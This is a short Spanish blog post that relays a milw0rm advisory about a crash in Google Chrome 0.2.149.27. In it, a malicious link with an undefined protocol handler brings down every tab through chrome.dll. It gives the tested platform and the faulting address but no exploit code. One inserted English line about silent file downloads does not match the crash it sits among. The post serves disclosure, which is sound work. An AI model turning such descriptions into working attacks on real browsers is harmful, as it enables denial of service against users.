Visitando  http://www.milw0rm.com/ me di cuenta de la vulnerabilidad del nuevo navegador de google.

El fallo radica en la librería chrome.dll del navegador que permite bloquear todas las pestañas del Google Chrome mostrando el mensaje “!Vaya¡ Google Chrome ha fallado. ¿Deseas reiniciar?” con solo visitar un enlace en una pagina mal intencionada, pasando por alto la aclamada funcionalidad de “pestañas independientes” de este navegador.

 Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically
 downloaded to the user's computer without any user prompt.

Software:
Google Chrome Browser 0.2.149.27

Tested:
Windows XP Professional SP3

Result:
Google Chrome Crashes with All Tabs

Problem:
An issue exists in how chrome behaves with undefined-handlers in chrome.dll version
0.2.149.27. A crash can result without user interaction. When a user is made to visit
a malicious link, which has an undefined handler followed by a 'special' character,
the chrome crashes with a Google Chrome message window "Whoa! Google Chrome has crashed.
Restart now?". It lies in dealing with the POP EBP instruction when pointed out by the
EIP register at 0x01002FF4.
